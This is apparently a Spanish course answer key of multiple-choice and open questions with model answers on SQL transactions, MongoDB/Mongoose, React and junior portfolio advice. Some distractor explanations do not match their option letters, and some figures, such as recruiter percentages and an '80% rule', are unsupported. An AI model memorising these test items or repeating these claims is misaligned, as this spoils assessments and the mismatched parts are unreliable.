Explica qué es una transacción y por qué es crítica para operaciones como 'transferir dinero entre cuentas'. (3 a 5 líneas).
Respuesta modelo: Una transacción agrupa varias operaciones SQL en una unidad atómica: o se ejecutan TODAS, o NO se ejecuta NINGUNA. Es crítica para transferir dinero porque: si haces UPDATE origen SET saldo = saldo - 100 sin transacción, y luego UPDATE destino SET saldo = saldo + 100, pero el proceso se cae entre las dos, el dinero se PIERDE (se desconto del origen pero nunca se acredito al destino). Con BEGIN/COMMIT, si algo falla entre el descuento y el acreditado, ROLLBACK revierte TODO, dejando la BD consistente. Es la diferencia entre un sistema bancario confiable y uno que pierde dinero. Las transacciones son la base de la integridad de cualquier sistema que maneja operaciones críticas.
-
Tienes una tabla 'pedidos' con 1 millón de registros. La query 'SELECT * FROM pedidos WHERE usuario_id = 42 ORDER BY creado_en DESC' tarda 5 segundos. ¿Cómo la optimizarías? (3 a 5 líneas).
Respuesta modelo: Paso 1: Verificar el plan con EXPLAIN ANALYZE la query. Probablemente verás 'Seq Scan' (escaneo total) en vez de 'Index Scan'. Paso 2: Crear un índice COMPUESTO en (usuario_id, creado_en DESC): CREATE INDEX idx_pedidos_usuario_fecha ON pedidos(usuario_id, creado_en DESC);. Este índice sirve tanto para el WHERE como para el ORDER BY, sin necesidad de un sort adicional. Resultado: la query bajará de 5 segundos a milisegundos. Paso 3: Si aun así es lento, agregar LIMIT para paginación: solo traer los últimos 20 pedidos del usuario. Paso 4: Considerar paginación por cursor en vez de OFFSET, especialmente si los offsets son grandes. La optimización de queries es un arte: medir, indexar, iterar.
Preguntas de opción múltiple (10)
-
¿Qué tipo de base de datos es MongoDB?
- a) Relacional (tablas).
- b) NoSQL documental (JSON). ✓ correcta
- c) Grafo.
- d) Clave-valor.
Por qué: MongoDB es NoSQL DOCUMENTAL: almacena documentos JSON (en formato BSON internamente), agrupados en colecciones. Es la NoSQL más popular y versátil.Detalle: MongoDB es NoSQL DOCUMENTAL: almacena documentos JSON (en formato BSON internamente), agrupados en colecciones. Es la NoSQL más popular y versátil. | a) No es relacional (eso es MySQL, PostgreSQL). | c) No es clave-valor (eso es Redis). -
En Mongoose, ¿qué es un 'schema'?
- a) Una base de datos.
- b) La definición de la estructura y validación de un documento: campos, tipos, reglas. ✓ correcta
- c) Una query.
- d) Un índice.
Por qué: Un schema en Mongoose es la definición de la estructura del documento: qué campos tiene, qué tipo de dato es cada uno, qué validaciones se aplican (required, minlength, match, etc.). Es como el 'CREATE TABLE' de SQL pero en código JavaScript.Detalle: Un schema en Mongoose es la definición de la estructura del documento: qué campos tiene, qué tipo de dato es cada uno, qué validaciones se aplican (required, minlength, match, etc.). Es como el 'CREATE TABLE' de SQL pero en código JavaScript. | a) No es una base de datos. | c) No es un índice, aunque se pueden crear en el schema. -
¿Qué es un documento embebido en MongoDB?
- a) Un documento referenciado por ObjectId.
- b) Un subdocumento que vive DENTRO de otro documento (como un campo JSON anidado). ✓ correcta
- c) Un índice.
- d) Una colección.
Por qué: Un documento embebido es un subdocumento dentro de otro documento, como un campo JSON anidado. Ejemplo: un post con un array de comentarios embebidos dentro. Es más rápido (1 sola query) y más simple que usar referencias.Detalle: Un documento embebido es un subdocumento dentro de otro documento, como un campo JSON anidado. Ejemplo: un post con un array de comentarios embebidos dentro. Es más rápido (1 sola query) y más simple que usar referencias. | a) Eso es una referencia, no embebido. | c) No es una colección. -
En MongoDB, ¿qué pasa si dos documentos de la misma colección tienen campos distintos?
- a) Error: la colección requiere esquema fijo.
- b) Es perfectamente válido: MongoDB no tiene esquema fijo. Cada documento puede tener campos diferentes. ✓ correcta
- c) Solo se acepta el primer documento.
- d) MongoDB rechaza los documentos sin los campos comunes.
Por qué: MongoDB NO tiene esquema fijo. Cada documento puede tener campos diferentes, y eso es perfectamente válido. Es una de las grandes diferencias con SQL. La flexibilidad es una ventaja (puedes cambiar la estructura sin migrar) pero también una responsabilidad (puedes tener datos inconsistentes, por eso Mongoose te da validación opcional).Detalle: MongoDB NO tiene esquema fijo. Cada documento puede tener campos diferentes, y eso es perfectamente válido. Es una de las grandes diferencias con SQL. La flexibilidad es una ventaja (puedes cambiar la estructura sin migrar) pero también una responsabilidad (puedes tener datos inconsistentes, por eso Mongoose te da validación opcional). | a) No hay esquema fijo. | c) MongoDB no rechaza por estructura. -
¿Cómo creas un modelo en Mongoose?
- a) new mongoose.Model(schema)
- b) mongoose.model('Usuario', usuarioSchema) ✓ correcta
- c) Usuario.create(schema)
- d) new mongoose.Schema(modelo)
Por qué: mongoose.model('Nombre', schema) crea el modelo. El nombre en singular se mapea a la colección en plural (Usuario -> usuarios). El modelo es la clase con la que interactúas: Usuario.find(), Usuario.create(), etc.Detalle: mongoose.model('Nombre', schema) crea el modelo. El nombre en singular se mapea a la colección en plural (Usuario -> usuarios). El modelo es la clase con la que interactúas: Usuario.find(), Usuario.create(), etc. | a) new mongoose.Model no funciona así. | c) new mongoose.Schema() crea un schema, no un modelo. -
¿Cómo haces una búsqueda con paginación en Mongoose?
- a) Sin límite, todos los documentos.
- b) limit() + skip(): .find().limit(20).skip(pagina * 20) ✓ correcta
- c) Solo limit(), sin skip.
- d) Mongoose no soporta paginación.
Por qué: limit() limita el número de resultados, skip() salta los primeros N. Ejemplo: .find().limit(20).skip(0) trae los primeros 20; .skip(20) trae los siguientes 20. Es el patrón estándar de paginación con OFFSET (válido hasta ~10K). Para más, paginación por cursor.Detalle: limit() limita el número de resultados, skip() salta los primeros N. Ejemplo: .find().limit(20).skip(0) trae los primeros 20; .skip(20) trae los siguientes 20. Es el patrón estándar de paginación con OFFSET (válido hasta ~10K). Para más, paginación por cursor. | a) Sin límite es peligroso en BD grandes. | c) Sí soporta paginación. -
¿Por qué NO deberías hardcodear la URI de MongoDB en tu código?
- a) Es más lento.
- b) Porque contiene usuario y password en texto plano. Si la subes a Git, cualquiera puede acceder a tu BD. ✓ correcta
- c) MongoDB no lo permite.
- d) No hay razón, es opcional.
Por qué: La URI de MongoDB contiene el usuario y password en texto plano: mongodb+srv://usuario:password@cluster... Si la subes a Git, CUALQUIERA puede acceder a tu BD. Solución: usa variables de entorno (.env) y agrega .env a .gitignore.Detalle: La URI de MongoDB contiene el usuario y password en texto plano: mongodb+srv://usuario:password@cluster... Si la subes a Git, CUALQUIERA puede acceder a tu BD. Solución: usa variables de entorno (.env) y agrega .env a .gitignore. | a) No es por velocidad. | c) Es importantísimo, no opcional. -
¿Qué hace unique: true en un campo de Mongoose?
- a) Hace que el campo sea opcional.
- b) Crea un índice único en ese campo, rechazando duplicados. ✓ correcta
- c) Convierte el campo a mayúsculas.
- d) Encripta el campo.
Por qué: unique: true crea un ÍNDICE ÚNICO en ese campo. Si intentas insertar un documento con un email que ya existe, MongoDB rechaza la operación. Es perfecto para emails, usernames, y cualquier campo que debe ser único. Además, crea el índice automáticamente (lo que acelera las búsquedas por ese campo).Detalle: unique: true crea un ÍNDICE ÚNICO en ese campo. Si intentas insertar un documento con un email que ya existe, MongoDB rechaza la operación. Es perfecto para emails, usernames, y cualquier campo que debe ser único. Además, crea el índice automáticamente (lo que acelera las búsquedas por ese campo). | a) No lo hace opcional; al contrario, evita duplicados. | c) No encripta. -
¿Qué es MongoDB Atlas?
- a) Una versión vieja de MongoDB.
- b) MongoDB en la nube: tú creas la BD y Atlas se encarga de backups, escalabilidad, actualizaciones, seguridad. Tiene plan gratis M0. ✓ correcta
- c) Un cliente de MongoDB.
- d) Un editor para MongoDB.
Por qué: MongoDB Atlas es la versión 'managed' de MongoDB en la nube. Tú creas la BD y Atlas se encarga de TODO: backups, escalabilidad, actualizaciones, seguridad. Tiene un plan gratuito M0 (512 MB) que es suficiente para aprender y hacer proyectos pequeños. Es la forma más fácil de tener una BD MongoDB accesible desde cualquier lugar.Detalle: MongoDB Atlas es la versión 'managed' de MongoDB en la nube. Tú creas la BD y Atlas se encarga de TODO: backups, escalabilidad, actualizaciones, seguridad. Tiene un plan gratuito M0 (512 MB) que es suficiente para aprender y hacer proyectos pequeños. Es la forma más fácil de tener una BD MongoDB accesible desde cualquier lugar. | a) No es una versión vieja, es la versión cloud. | c) No es un editor. -
¿Qué es la regla del 80% en MongoDB para embebido vs referencia?
- a) 80% de las queries son lentas.
- b) Embebido por defecto, referencia solo cuando sea estrictamente necesario. ✓ correcta
- c) 80% de los datos son duplicados.
- d) Solo 80% de las colecciones deben tener documentos.
Por qué: La regla del 80% en MongoDB: embebido por defecto, referencia solo cuando sea estrictamente necesario. Embebido es más rápido (1 query vs 2+ con populate), más simple (no necesitas populate), y más intuitivo. Referencia solo cuando: (1) los datos son grandes (> 16MB), (2) se consultan independientemente, (3) se comparten entre muchos documentos. Si dudas, embebe.Detalle: La regla del 80% en MongoDB: embebido por defecto, referencia solo cuando sea estrictamente necesario. Embebido es más rápido (1 query vs 2+ con populate), más simple (no necesitas populate), y más intuitivo. Referencia solo cuando: (1) los datos son grandes (> 16MB), (2) se consultan independientemente, (3) se comparten entre muchos documentos. Si dudas, embebe. | a) No tiene que ver con queries lentas. | c) No se refiere a porcentaje de colecciones.
Preguntas abiertas (3)
-
Explica la diferencia entre embebido y referencia en MongoDB, y da un ejemplo de cada uno. (3 a 5 líneas).
Respuesta modelo: Embebido: el subdocumento vive DENTRO del documento padre, como un campo JSON anidado. Ejemplo: un post con sus comentarios embebidos: { titulo: 'X', comentarios: [{ usuario: 'A', texto: '...' }] }. Es 1 query para obtener todo, más simple. Referencia: el documento padre guarda el ObjectId del documento hijo, y se obtiene con populate. Ejemplo: un usuario con un array de ObjectIds de sus posts. Son 2 queries + populate. La regla: embebido por defecto, referencia cuando los datos son grandes (>16MB), se consultan solos, o se comparten entre muchos. Si dudas, embebe: más rápido, más simple, más intuitivo.
-
Estás diseñando un schema de Mongoose para un blog. ¿El array de 'comentarios' de cada post debería ir embebido o como referencia? Justifica tu decisión. (3 a 5 líneas).
Respuesta modelo: Depende del caso, pero el 80% de las veces EMBEBIDO. Razones: (1) Los comentarios SIEMPRE se leen junto con el post (cuando ves un post, ves sus comentarios). No se consultan solos como 'dame todos los comentarios del blog'. (2) Los comentarios NO pueden existir sin el post (si borras el post, sus comentarios se van con él). (3) En la mayoría de blogs, los posts tienen decenas o cientos de comentarios, no millones. Si tu blog tiene posts con +100,000 comentarios, pasa a referencia. Para el 95% de los blogs, embebido es la decisión correcta. Regla del 80%: embebido por defecto, referencia solo cuando se viola alguna de las 3 condiciones (siempre juntos, independencia, tamaño).
-
Tu colección de usuarios en MongoDB tiene 500,000 documentos. La query Usuario.find({ email: 'ana@mail.com' }) tarda 3 segundos. ¿Cómo la optimizarías? (3 a 5 líneas).
Respuesta modelo: Paso 1: Agregar índice único en el campo email en el schema: email: { type: String, required: true, unique: true, lowercase: true }. El unique: true crea automáticamente un índice. Paso 2: Si por alguna razón el índice no se creó, crearlo manualmente: Usuario.collection.createIndex({ email: 1 }, { unique: true }). Paso 3: Verificar con Usuario.collection.getIndexes() que el índice existe. Resultado: la query bajará de 3 segundos a milisegundos. La regla: índice en todos los campos que uses en find() frecuentemente. En Mongoose, declarar unique: true o index: true en el schema es la forma más fácil. La optimización de queries es: medir, indexar, iterar.
Preguntas de opción múltiple (10)
-
¿Qué es React?
- a) Un framework completo con todo incluido.
- b) Una librería de JavaScript para construir interfaces de usuario basadas en componentes. La más usada del mundo. ✓ correcta
- c) Un lenguaje de programación.
- d) Una base de datos.
Por qué: React es una LIBRERÍA de JavaScript para construir UIs basadas en componentes. No es un framework completo (no tiene routing, HTTP, ni estado global incluido). Es la más usada del mundo: Netflix, Airbnb, Instagram, WhatsApp Web. La creó Facebook en 2013.Detalle: React es una LIBRERÍA de JavaScript para construir UIs basadas en componentes. No es un framework completo (no tiene routing, HTTP, ni estado global incluido). Es la más usada del mundo: Netflix, Airbnb, Instagram, WhatsApp Web. La creó Facebook en 2013. | a) No es framework completo, es librería. | c) No es una base de datos. -
¿Cuál es la sintaxis correcta para 'class' en JSX?
- a) class="tarjeta"
- b) className="tarjeta" ✓ correcta
- c) class:"tarjeta"
- d) classname="tarjeta"
Por qué: En JSX, 'class' se escribe 'className' porque 'class' es palabra reservada en JavaScript. Es la diferencia #1 entre HTML y JSX que olvidan los principiantes.Detalle: En JSX, 'class' se escribe 'className' porque 'class' es palabra reservada en JavaScript. Es la diferencia #1 entre HTML y JSX que olvidan los principiantes. | a) Eso es HTML, no JSX. | c) classname con n minúscula no es la convención de React. -
En React, ¿cómo se pasa un dato de un componente padre a un hijo?
- a) Con variables globales.
- b) Con props: el padre pasa el dato como atributo JSX, el hijo lo recibe como parámetro de la función. ✓ correcta
- c) Con localStorage.
- d) Con cookies.
Por qué: Los PROPS son la forma estándar: <Padre><Hijo dato="valor" /></Padre>, y el hijo lo recibe: function Hijo({ dato }) { return <p>{dato}</p>; }. Es comunicación UNIDIRECCIONAL de arriba a abajo. Para datos del hijo al padre, usas callbacks pasados como props.Detalle: Los PROPS son la forma estándar: <Padre><Hijo dato="valor" /></Padre>, y el hijo lo recibe: function Hijo({ dato }) { return <p>{dato}</p>; }. Es comunicación UNIDIRECCIONAL de arriba a abajo. Para datos del hijo al padre, usas callbacks pasados como props. | a) Variables globales son malas prácticas. | c) Cookies son para el servidor-cliente, no entre componentes. -
¿Por qué NO se debe mutar el estado directamente en React?
- a) Es más lento.
- b) Porque React no se entera del cambio y la UI no se actualiza. SIEMPRE usa el setter: setCount(count+1), nunca count++. ✓ correcta
- c) Porque es ilegal.
- d) No importa, da igual.
Por qué: El estado en React es INMUTABLE. Si haces count++ o lista.push(item), React NO detecta el cambio y la UI no se re-renderiza. SIEMPRE usa el setter que devuelve useState: setCount(count+1) o setCount(prev => prev+1). Es la regla #1 de React.Detalle: El estado en React es INMUTABLE. Si haces count++ o lista.push(item), React NO detecta el cambio y la UI no se re-renderiza. SIEMPRE usa el setter que devuelve useState: setCount(count+1) o setCount(prev => prev+1). Es la regla #1 de React. | a) No es por velocidad, es por reactividad. | c) Sí importa MUCHO. -
En un useEffect con array de dependencias vacío ([]), ¿cuándo se ejecuta?
- a) En cada render del componente.
- b) Solo UNA vez, cuando el componente se monta por primera vez. ✓ correcta
- c) Nunca.
- d) Cuando cambia una variable.
Por qué: useEffect(fn, []) se ejecuta SOLO UNA VEZ al montar el componente, y nunca más. Es el patrón estándar para fetches iniciales. useEffect(fn, [dep]) se ejecuta cuando dep cambia. useEffect(fn) sin array se ejecuta en CADA render (causa loops infinitos con fetches).Detalle: useEffect(fn, []) se ejecuta SOLO UNA VEZ al montar el componente, y nunca más. Es el patrón estándar para fetches iniciales. useEffect(fn, [dep]) se ejecuta cuando dep cambia. useEffect(fn) sin array se ejecuta en CADA render (causa loops infinitos con fetches). | a) Eso sería useEffect sin array de dependencias. | c) Eso es useEffect(fn, [dep]). -
Al renderizar una lista con .map() en React, ¿qué atributo es OBLIGATORIO?
- a) id
- b) className
- c) key (único para cada elemento) ✓ correcta
- d) name
Por qué: El atributo key es OBLIGATORIO en cada elemento de una lista. React lo usa para identificar qué elemento cambió cuando actualizas la lista. Usa SIEMPRE un ID estable (key={character.id}), NUNCA el índice (key={index}). Sin key, React muestra warning y re-renderiza todo.Detalle: El atributo key es OBLIGATORIO en cada elemento de una lista. React lo usa para identificar qué elemento cambió cuando actualizas la lista. Usa SIEMPRE un ID estable (key={character.id}), NUNCA el índice (key={index}). Sin key, React muestra warning y re-renderiza todo. | a) id no es obligatorio, key sí. | b) className es opcional. -
Si un fetch a una API falla, ¿qué deberías mostrar al usuario?
- a) Nada, la UI se queda en blanco.
- b) Un mensaje de error claro y específico, con opción de reintentar. ✓ correcta
- c) El error técnico completo (stack trace).
- d) Un alert() del navegador.
Por qué: SIEMPRE muestra un mensaje de error CLARO y específico: 'No pude cargar los personajes. Revisa tu conexión.' Y opcionalmente un botón 'Reintentar'. NUNCA muestres el error técnico (stack trace) al usuario: no le sirve y puede ser un riesgo de seguridad. Y nunca alert() del navegador: rompe la UX.Detalle: SIEMPRE muestra un mensaje de error CLARO y específico: 'No pude cargar los personajes. Revisa tu conexión.' Y opcionalmente un botón 'Reintentar'. NUNCA muestres el error técnico (stack trace) al usuario: no le sirve y puede ser un riesgo de seguridad. Y nunca alert() del navegador: rompe la UX. | a) La UI en blanco es mala UX. | c) alert() rompe la experiencia. -
¿Por qué los hooks de React se llaman empezando con 'use'?
- a) Por moda.
- b) Por convención de React: useState, useEffect, useRef, etc. Es señal de que es un HOOK y debe seguir las reglas (solo en componentes, no en loops ni condicionales). ✓ correcta
- c) Por error histórico.
- d) No es una convención, da igual.
Por qué: La convención 'use' es para que TODOS los hooks sean reconocibles a simple vista: useState, useEffect, useRef, useMemo, useCallback, useContext, etc. Además, el linter de React puede detectar violaciones: nunca llames a un hook dentro de un if, for, o función que no sea componente. Es una señal visual + funcional.Detalle: La convención 'use' es para que TODOS los hooks sean reconocibles a simple vista: useState, useEffect, useRef, useMemo, useCallback, useContext, etc. Además, el linter de React puede detectar violaciones: nunca llames a un hook dentro de un if, for, o función que no sea componente. Es una señal visual + funcional. | a) No es moda, es convención útil. | c) Sí es convención, no da igual. -
En JSX, ¿cómo escribes un condicional 'si X entonces Y'?
- a) if (X) { return Y }
- b) {X ? Y : null} o {X && Y} ✓ correcta
- c) if X then Y
- d) <if X>Y</if>
Por qué: JSX no soporta 'if' directamente. Usa el operador ternario {X ? Y : null} o el short-circuit && {X && Y}. Ejemplos: {logueado ? <Dashboard /> : <Login />} o {lista.length > 0 && <Lista items={lista} />}. Es la forma idiomática.Detalle: JSX no soporta 'if' directamente. Usa el operador ternario {X ? Y : null} o el short-circuit && {X && Y}. Ejemplos: {logueado ? <Dashboard /> : <Login />} o {lista.length > 0 && <Lista items={lista} />}. Es la forma idiomática. | a) if en JSX no funciona (no es JS). | c) <if> no es JSX válido. -
¿Por qué es mejor usar Vite que Create React App para nuevos proyectos?
- a) Vite es más bonito.
- b) Vite es más rápido (usa ESM nativo en dev, no Webpack), el proyecto arranca en <1s y los HMR son instantáneos. CRA está deprecated desde 2023. ✓ correcta
- c) Vite usa menos dependencias.
- d) No hay diferencia.
Por qué: Vite es la recomendación oficial actual de React (CRA está deprecado desde 2023). Vite es MUCHO más rápido: usa ESM nativo en desarrollo (no bundle completo como Webpack), el dev server arranca en <1 segundo, y los HMR (Hot Module Replacement) son casi instantáneos. La build de producción usa Rollup, también rapidísima.Detalle: Vite es la recomendación oficial actual de React (CRA está deprecado desde 2023). Vite es MUCHO más rápido: usa ESM nativo en desarrollo (no bundle completo como Webpack), el dev server arranca en <1 segundo, y los HMR (Hot Module Replacement) son casi instantáneos. La build de producción usa Rollup, también rapidísima. | a) No es estética, es rendimiento. | c) Hay diferencias enormes.
Preguntas abiertas (3)
-
Explica qué es JSX y por qué existe. ¿Es HTML? ¿Es JavaScript? Da un ejemplo de la transformación. (3 a 5 líneas).
Respuesta modelo: JSX (JavaScript XML) es la sintaxis que usa React que PARECE HTML pero es JavaScript de verdad. Tú escribes <h1>Hola</h1> en un archivo .jsx, y el bundler (Vite, Webpack) lo transforma automáticamente en React.createElement('h1', null, 'Hola') antes de ejecutarse. NO es HTML: por eso class es className, onclick es onClick, y los comentarios son {/* */}. Es solo 'azúcar sintáctico': el resultado en runtime es idéntico a escribir createElement directamente, pero el código es 10x más legible. Es la forma de escribir UI de manera declarativa en React. Una vez que entiendes esto, entiendes que JSX es solo una manera más bonita de llamar a una función que crea elementos virtuales.
-
Explica la diferencia entre props y state en React. Da un ejemplo de cada uno. (3 a 5 líneas).
Respuesta modelo: Props son los DATOS QUE EL PADRE PASA AL HIJO: inmutables (el hijo no los modifica), unidireccionales (siempre de arriba a abajo). Se reciben como parámetros de la función del componente: function Saludo({ nombre }) { return <h1>Hola {nombre}</h1>; }. State son los DATOS INTERNOS DEL COMPONENTE: cambian con el tiempo (con setState), hacen que la UI se re-renderice. Se declaran con useState: const [count, setCount] = useState(0). Ejemplo de props: en un CharacterCard, character es un prop (lo pasa el padre). Ejemplo de state: en CharacterList, characters es state (lo carga el componente). La regla: si el dato viene de fuera, es prop. Si el dato es interno y cambia, es state.
-
Estás construyendo un componente que hace un fetch a la Rick and Morty API. Explica paso a paso cómo manejarías los 3 estados posibles de la petición. (4 a 6 líneas).
Respuesta modelo: Paso 1: Declarar 3 useState: const [characters, setCharacters] = useState([]); const [cargando, setCargando] = useState(true); const [error, setError] = useState(null);. Paso 2: useEffect con array vacío [] para hacer el fetch UNA vez al montar. Paso 3: Dentro del useEffect, try { const res = await fetch(...); if (!res.ok) throw new Error(); const data = await res.json(); setCharacters(data.results); } catch (err) { setError(err.message); } finally { setCargando(false); } (el finally SIEMPRE se ejecuta). Paso 4: Renderizar condicional ANTES del return principal: if (cargando) return <Spinner />; if (error) return <Error mensaje={error} />; (return temprano = no se renderiza el resto). Paso 5: Si todo OK, return <div>{characters.map(char => <CharacterCard key={char.id} character={char} />)}</div>. Es el patrón fundamental de cualquier componente que consume APIs. Sin esto, la UI es frágil y confunde al usuario.
Preguntas de opción múltiple (10)
-
¿Qué es lo MÁS importante en un proyecto de portafolio junior?
- a) Que tenga muchos features.
- b) Que sea DEMOSTRABLE: código limpio, tests pasando, deploy funcionando, README profesional, y features pulidos. Calidad > cantidad. ✓ correcta
- c) Que use el último framework.
- d) Que tenga el código más corto.
Por qué: Un proyecto de portafolio junior debe ser DEMOSTRABLE. Los reclutadores lo abren en 5 minutos: si ven README profesional, badges en verde, demo en vivo, código limpio, y tests pasando, lo toman en serio. Si ven 20 features a medias, código sin documentar, sin tests, y sin deploy, lo descartan. La regla: 5 features pulidos > 20 features a medias. Calidad > cantidad, siempre.Detalle: Un proyecto de portafolio junior debe ser DEMOSTRABLE. Los reclutadores lo abren en 5 minutos: si ven README profesional, badges en verde, demo en vivo, código limpio, y tests pasando, lo toman en serio. Si ven 20 features a medias, código sin documentar, sin tests, y sin deploy, lo descartan. La regla: 5 features pulidos > 20 features a medias. Calidad > cantidad, siempre. | a) Más features no es mejor. | c) Código corto no es lo importante. -
¿Por qué un monorepo es mejor que multi-repo para una app fullstack pequeña?
- a) Es más moderno.
- b) Permite un solo git, compartir código, scripts unificados, y ver toda la estructura en una vista. Para junior, es perfecto. ✓ correcta
- c) Es más rápido.
- d) GitHub lo requiere.
Por qué: El monorepo es el estándar para apps fullstack pequeñas/medianas. Ventajas: (1) un solo git, una versión, una rama. (2) puedes compartir código entre frontend y backend (tipos, constantes). (3) scripts de CI/CD más simples (un workflow en raíz). (4) el reclutador ve toda la estructura en una sola vista. La alternativa multi-repo es para EQUIPOS GRANDES con microservicios; para junior, monorepo es perfecto y más simple.Detalle: El monorepo es el estándar para apps fullstack pequeñas/medianas. Ventajas: (1) un solo git, una versión, una rama. (2) puedes compartir código entre frontend y backend (tipos, constantes). (3) scripts de CI/CD más simples (un workflow en raíz). (4) el reclutador ve toda la estructura en una sola vista. La alternativa multi-repo es para EQUIPOS GRANDES con microservicios; para junior, monorepo es perfecto y más simple. | a) No es por moda. | c) GitHub no lo requiere. -
¿Cuál es la mejor forma de manejar auth en una app con Supabase?
- a) Auth propia con bcrypt.
- b) Usar Supabase Auth directamente: tiene email/password, OAuth (Google/GitHub), JWT, y verificación de email. Es gratis hasta 50k usuarios. ✓ correcta
- c) Auth0 (servicio de pago).
- d) Sin auth, no es necesario.
Por qué: Supabase Auth es la mejor opción para apps junior-friendly: gratis hasta 50k usuarios mensuales, tiene email/password, magic link, OAuth con Google/GitHub/Apple, JWT, verificación de email, password reset, y MFA opcional. Se integra con una sola línea: createClient(url, key). Implementar auth propia con bcrypt es 5-10 días de trabajo y MUCHAS vulnerabilidades potenciales. Supabase lo hace seguro y gratis.Detalle: Supabase Auth es la mejor opción para apps junior-friendly: gratis hasta 50k usuarios mensuales, tiene email/password, magic link, OAuth con Google/GitHub/Apple, JWT, verificación de email, password reset, y MFA opcional. Se integra con una sola línea: createClient(url, key). Implementar auth propia con bcrypt es 5-10 días de trabajo y MUCHAS vulnerabilidades potenciales. Supabase lo hace seguro y gratis. | a) Auth propia es lento y riesgoso. | c) Auth es esencial para favoritos. -
Si tu deploy falla, ¿qué deberías hacer PRIMERO?
- a) Borrar todo y empezar de nuevo.
- b) Ver los logs del build en Vercel/Railway. El 90% de los errores están ahí. Si no, revisa GitHub Actions. ✓ correcta
- c) Esperar 1 hora.
- d) Publicar en Twitter.
Por qué: El 90% de los errores de deploy están en los LOGS: Vercel tiene 'Logs' tab en cada deploy, Railway tiene 'Logs' en cada servicio, y GitHub Actions muestra cada step con output. Lee el ÚLTIMO error (suele ser el que rompe la cadena). Las causas comunes: variable de entorno faltante, build command incorrecto, comando que falla, puerto incorrecto. La regla: leer logs PRIMERO, no asumir. 5 minutos de logs ahorran 5 horas de debug a ciegas.Detalle: El 90% de los errores de deploy están en los LOGS: Vercel tiene 'Logs' tab en cada deploy, Railway tiene 'Logs' en cada servicio, y GitHub Actions muestra cada step con output. Lee el ÚLTIMO error (suele ser el que rompe la cadena). Las causas comunes: variable de entorno faltante, build command incorrecto, comando que falla, puerto incorrecto. La regla: leer logs PRIMERO, no asumir. 5 minutos de logs ahorran 5 horas de debug a ciegas. | a) Borrar todo es anti-patrón. | c) Twitter no es el lugar. -
¿Cuál es la estructura de carpetas CORRECTA para Atomic Design?
- a) components/, pages/, utils/
- b) atoms/, molecules/, organisms/, templates/, pages/ ✓ correcta
- c) backend/, frontend/, db/
- d) low/, mid/, high/
Por qué: Atomic Design tiene 5 niveles: atoms (Button, Input), molecules (SearchBar, FormField), organisms (Header, UserCard), templates (MainLayout), pages (Home, DetallePais). Es la metodología de Brad Frost usada por Linear, Notion, IBM, y todos los design systems profesionales. La estructura de carpetas refleja la jerarquía: src/atoms/, src/molecules/, src/organisms/, src/templates/, src/pages/. Es lo que esperas ver en un proyecto junior profesional.Detalle: Atomic Design tiene 5 niveles: atoms (Button, Input), molecules (SearchBar, FormField), organisms (Header, UserCard), templates (MainLayout), pages (Home, DetallePais). Es la metodología de Brad Frost usada por Linear, Notion, IBM, y todos los design systems profesionales. La estructura de carpetas refleja la jerarquía: src/atoms/, src/molecules/, src/organisms/, src/templates/, src/pages/. Es lo que esperas ver en un proyecto junior profesional. | a) Es muy genérico. | c) No son los nombres. -
¿Qué sección del README es la MÁS importante para un reclutador?
- a) La sección de licencia.
- b) La primera pantalla con: nombre del proyecto, descripción en 1 línea, badges, screenshot/demo, y stack. Es lo que ven en 5 segundos. ✓ correcta
- c) La sección de 'agradecimientos'.
- d) El changelog.
Por qué: La primera pantalla del README es CRÍTICA: nombre, descripción en 1 frase, badges, screenshot o demo, y stack. Es lo que el reclutador ve sin scroll. Si esa primera pantalla lo engancha, lee el resto. Si es genérica, cierra la pestaña. El orden ideal: nombre + tagline, badges, screenshot/demo, features bullets, stack, instalación rápida. La licencia y agradecimientos van al final, no importa su posición.Detalle: La primera pantalla del README es CRÍTICA: nombre, descripción en 1 frase, badges, screenshot o demo, y stack. Es lo que el reclutador ve sin scroll. Si esa primera pantalla lo engancha, lee el resto. Si es genérica, cierra la pestaña. El orden ideal: nombre + tagline, badges, screenshot/demo, features bullets, stack, instalación rápida. La licencia y agradecimientos van al final, no importa su posición. | a) La licencia va al final. | c) Changelog no es prioritario. -
¿Qué es lo que MÁS mira un reclutador junior-friendly?
- a) El CV.
- b) El portafolio de GitHub: el código, los tests, el README, y el deploy. Es 10x más importante que el CV. ✓ correcta
- c) Las certificaciones.
- d) La universidad.
Por qué: Estudio tras estudio muestra que el 70-80% de reclutadores junior-friendly miran el portafolio de GitHub ANTES que el CV. Tu CV dice 'sabe X tecnología', tu portafolio dice 'puedo mostrarte cómo la usa'. Un CV sin portafolio es solo palabras; con portafolio es evidencia. La regla: tu GitHub debe tener al menos 3 proyectos públicos con código limpio, README profesional, tests, y deploy funcionando. Es tu arma secreta.Detalle: Estudio tras estudio muestra que el 70-80% de reclutadores junior-friendly miran el portafolio de GitHub ANTES que el CV. Tu CV dice 'sabe X tecnología', tu portafolio dice 'puedo mostrarte cómo la usa'. Un CV sin portafolio es solo palabras; con portafolio es evidencia. La regla: tu GitHub debe tener al menos 3 proyectos públicos con código limpio, README profesional, tests, y deploy funcionando. Es tu arma secreta. | a) El CV es secundario. | c) Universidad no pesa tanto para junior. -
Si tu proyecto funciona localmente pero NO en producción, ¿cuál es la causa MÁS probable?
- a) El navegador del usuario está mal.
- b) Variables de entorno no configuradas en Vercel/Railway, o rutas absolutas vs relativas, o build command incorrecto. ✓ correcta
- c) El proyecto está mal.
- d) Internet está caído.
Por qué: El 95% de las veces que un proyecto funciona local y no en producción, es por: (1) variables de entorno no configuradas en el panel de Vercel/Railway. (2) rutas absolutas en el código (ej: 'C:/Users/...') que no existen en el servidor. (3) build command incorrecto en Vercel/Railway. (4) node_modules diferentes o falta de lockfile. La regla: SIEMPRE probar el build localmente con 'npm run build' y servir el dist/. Si funciona ahí pero no en prod, es config del servidor.Detalle: El 95% de las veces que un proyecto funciona local y no en producción, es por: (1) variables de entorno no configuradas en el panel de Vercel/Railway. (2) rutas absolutas en el código (ej: 'C:/Users/...') que no existen en el servidor. (3) build command incorrecto en Vercel/Railway. (4) node_modules diferentes o falta de lockfile. La regla: SIEMPRE probar el build localmente con 'npm run build' y servir el dist/. Si funciona ahí pero no en prod, es config del servidor. | a) El navegador no es el problema. | c) Internet no es la causa. -
¿Qué debe tener un proyecto de portafolio junior en GitHub para DESTACAR?
- a) Solo el código fuente.
- b) README profesional con demo en vivo, badges, screenshots, instrucciones de instalación, y descripción clara del proyecto y su propósito. ✓ correcta
- c) Un archivo LICENSE.
- d) Un montón de issues abiertos.
